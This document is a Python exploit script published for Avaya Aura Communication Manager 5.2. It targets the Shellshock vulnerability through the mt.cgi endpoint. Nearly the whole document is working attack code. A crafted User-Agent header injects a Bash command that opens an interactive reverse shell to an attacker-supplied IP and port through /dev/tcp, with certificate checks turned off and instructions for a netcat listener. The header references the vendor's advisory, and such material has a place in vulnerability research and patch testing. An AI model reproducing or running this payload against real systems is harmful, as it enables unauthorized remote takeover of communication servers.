Avaya Aura Communication Manager 5.2 - Remote Code Execution

# Exploit Title: Avaya Aura Communication Manager 5.2 - Remote Code Execution
# Exploit Author: Sarang Tumne a.k.a SarT
# Date: 2020-02-14
# Confirmed on release 5.2
# Vendor: https://www.avaya.com/en/
# Avaya's advisory:  
# https://downloads.avaya.com/css/P8/documents/100183151
# Exploit generates a reverse shell to a nc listener (Shellshock Exploit)

###############################################

#!/usr/bin/python

import sys
import requests
 
if len(sys.argv) < 4:
	print "\n[*] Avaya Aura Communication Manager (CM)- Shellshock Exploit"
	print "[*] Usage: <Victim's IP> <Attacker's IP> <Reverse Shell Port>" 
	print "[*] Example: shellshock.py 127.0.0.1 127.0.0.1 1337"
	print "[*] Netcat Listener: nc -lvvnp <port>"
	print "\n"
	sys.exit()

#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warnings() 
CM = sys.argv[1]
url = "https://" + CM + "/mt/mt.cgi"
attacker_ip = sys.argv[2]
rev_port = sys.argv[3]

http_headers = {
		
		"User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/'+attacker_ip+'/'+rev_port+' 0>&1'
			
		}

def main():
		if len(sys.argv) == 4:
		  
		  print "[+] Success, spawning a shell on your custom port :)..."
		  requests.get(url, headers=http_headers, verify=False, timeout=5)
		
		else: 	
		  print "[-] Something went wrong, quitting..."
			
		sys.exit()
	

if __name__ == "__main__":
	main()